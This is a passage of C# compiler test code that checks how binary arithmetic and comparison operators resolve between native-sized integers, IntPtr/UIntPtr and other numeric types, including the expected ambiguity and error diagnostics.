binaryOps(symbol, "nint", "ushort?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"));
binaryOps(symbol, "nint", "long?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint"));
binaryOps(symbol, "nint", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr?");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint?", "string");
binaryOps(symbol, "nint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint?", includeVoidError: true));
binaryOps(symbol, "nint?", "bool");
binaryOps(symbol, "nint?", "char", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"));
binaryOps(symbol, "nint?", "long", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint?"));
binaryOps(symbol, "nint?", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr");
binaryOps(symbol, "nint?", "bool?");
binaryOps(symbol, "nint?", "char?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"));
binaryOps(symbol, "nint?", "long?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint?"));
binaryOps(symbol, "nint?", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr?");
binaryOps(symbol, "nuint", "object");
binaryOps(symbol, "nuint", "string");
binaryOps(symbol, "nuint", "void*", null, (symbol == "-") ? $"void* void*.{name}(void* left, ulong right)" : null, getBadBinaryOpsDiagnostics(symbol, "nuint", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint", includeBadBinaryOps: includeBadBinaryOps, includeVoidError: true));
binaryOps(symbol, "nuint", "bool");
binaryOps(symbol, "nuint", "char", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint"));
binaryOps(symbol, "nuint", "uint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"));
binaryOps(symbol, "nuint", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint"));
binaryOps(symbol, "nuint", "ulong", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr");
binaryOps(symbol, "nuint", "System.UIntPtr", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "bool?");
binaryOps(symbol, "nuint", "char?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint"));
binaryOps(symbol, "nuint", "uint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"));
binaryOps(symbol, "nuint", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint"));
binaryOps(symbol, "nuint", "ulong?", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr?");
binaryOps(symbol, "nuint", "System.UIntPtr?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "object");
binaryOps(symbol, "nuint?", "string");
binaryOps(symbol, "nuint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint?", includeVoidError: true));
binaryOps(symbol, "nuint?", "bool");
binaryOps(symbol, "nuint?", "char", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint?"));
binaryOps(symbol, "nuint?", "uint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"));
binaryOps(symbol, "nuint?", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint?"));
binaryOps(symbol, "nuint?", "ulong", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr");
binaryOps(symbol, "nuint?", "System.UIntPtr", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "bool?");
binaryOps(symbol, "nuint?", "char?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint?"));
binaryOps(symbol, "nuint?", "uint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"));
binaryOps(symbol, "nuint?", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint?"));
binaryOps(symbol, "nuint?", "ulong?", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr?");
binaryOps(symbol, "nuint?", "System.UIntPtr?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr", "string");
binaryOps(symbol, "System.IntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr", includeVoidError: true));
binaryOps(symbol, "System.IntPtr", "bool");
binaryOps(symbol, "System.IntPtr", "char", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "sbyte", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "byte", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "short", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "ushort", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "int", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "uint");
binaryOps(symbol, "System.IntPtr", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint");
binaryOps(symbol, "System.IntPtr", "long");
binaryOps(symbol, "System.IntPtr", "ulong");
binaryOps(symbol, "System.IntPtr", "float");
binaryOps(symbol, "System.IntPtr", "double");
binaryOps(symbol, "System.IntPtr", "decimal");
binaryOps(symbol, "System.IntPtr", "System.IntPtr");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr", "bool?");
binaryOps(symbol, "System.IntPtr", "char?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "sbyte?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "byte?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "short?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "ushort?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "int?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr", "uint?");
binaryOps(symbol, "System.IntPtr", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint?");
binaryOps(symbol, "System.IntPtr", "long?");
binaryOps(symbol, "System.IntPtr", "ulong?");
binaryOps(symbol, "System.IntPtr", "float?");
binaryOps(symbol, "System.IntPtr", "double?");
binaryOps(symbol, "System.IntPtr", "decimal?");
binaryOps(symbol, "System.IntPtr", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr?", "string");
binaryOps(symbol, "System.IntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr?", includeVoidError: true));
binaryOps(symbol, "System.IntPtr?", "bool");
binaryOps(symbol, "System.IntPtr?", "char", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "sbyte", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "byte", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "short", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "ushort", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "int", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "uint");
binaryOps(symbol, "System.IntPtr?", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint");
binaryOps(symbol, "System.IntPtr?", "long");
binaryOps(symbol, "System.IntPtr?", "ulong");
binaryOps(symbol, "System.IntPtr?", "float");
binaryOps(symbol, "System.IntPtr?", "double");
binaryOps(symbol, "System.IntPtr?", "decimal");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr?", "bool?");
binaryOps(symbol, "System.IntPtr?", "char?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "sbyte?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "byte?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "short?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "ushort?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "int?", (symbol == "-") ? $"System.IntPtr System.IntPtr.{name}(System.IntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.IntPtr?", "uint?");
binaryOps(symbol, "System.IntPtr?", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint?");
binaryOps(symbol, "System.IntPtr?", "long?");
binaryOps(symbol, "System.IntPtr?", "ulong?");
binaryOps(symbol, "System.IntPtr?", "float?");
binaryOps(symbol, "System.IntPtr?", "double?");
binaryOps(symbol, "System.IntPtr?", "decimal?");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr", "string");
binaryOps(symbol, "System.UIntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr", "bool");
binaryOps(symbol, "System.UIntPtr", "char", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "sbyte", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "byte", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "short", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "ushort", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "int", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "uint");
binaryOps(symbol, "System.UIntPtr", "nint");
binaryOps(symbol, "System.UIntPtr", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long");
binaryOps(symbol, "System.UIntPtr", "ulong");
binaryOps(symbol, "System.UIntPtr", "float");
binaryOps(symbol, "System.UIntPtr", "double");
binaryOps(symbol, "System.UIntPtr", "decimal");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr", "bool?");
binaryOps(symbol, "System.UIntPtr", "char?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "sbyte?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "byte?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "short?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "ushort?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "int?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr", "uint?");
binaryOps(symbol, "System.UIntPtr", "nint?");
binaryOps(symbol, "System.UIntPtr", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long?");
binaryOps(symbol, "System.UIntPtr", "ulong?");
binaryOps(symbol, "System.UIntPtr", "float?");
binaryOps(symbol, "System.UIntPtr", "double?");
binaryOps(symbol, "System.UIntPtr", "decimal?");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr?", "object");
binaryOps(symbol, "System.UIntPtr?", "string");
binaryOps(symbol, "System.UIntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr?", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr?", "bool");
binaryOps(symbol, "System.UIntPtr?", "char", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "sbyte", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "byte", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "short", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "ushort", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "int", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "uint");
binaryOps(symbol, "System.UIntPtr?", "nint");
binaryOps(symbol, "System.UIntPtr?", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long");
binaryOps(symbol, "System.UIntPtr?", "ulong");
binaryOps(symbol, "System.UIntPtr?", "float");
binaryOps(symbol, "System.UIntPtr?", "double");
binaryOps(symbol, "System.UIntPtr?", "decimal");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr?", "bool?");
binaryOps(symbol, "System.UIntPtr?", "char?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "sbyte?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "byte?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "short?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "ushort?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "int?", (symbol == "-") ? $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)" : null, null);
binaryOps(symbol, "System.UIntPtr?", "uint?");
binaryOps(symbol, "System.UIntPtr?", "nint?");
binaryOps(symbol, "System.UIntPtr?", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long?");
binaryOps(symbol, "System.UIntPtr?", "ulong?");
binaryOps(symbol, "System.UIntPtr?", "float?");
binaryOps(symbol, "System.UIntPtr?", "double?");
binaryOps(symbol, "System.UIntPtr?", "decimal?");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr?");
}
foreach ((string symbol, string name) in comparisonOperators)
{
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint", "string");
binaryOps(symbol, "nint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nint"));
binaryOps(symbol, "nint", "bool");
binaryOps(symbol, "nint", "char", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"));
binaryOps(symbol, "nint", "long", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint"));
binaryOps(symbol, "nint", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr");
binaryOps(symbol, "nint", "bool?");
binaryOps(symbol, "nint", "char?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"));
binaryOps(symbol, "nint", "long?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint"));
binaryOps(symbol, "nint", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr?");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint?", "string");
binaryOps(symbol, "nint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint?", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nint?"));
binaryOps(symbol, "nint?", "bool");
binaryOps(symbol, "nint?", "char", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort", $"bool nint.{name}(nint left, nint right)");
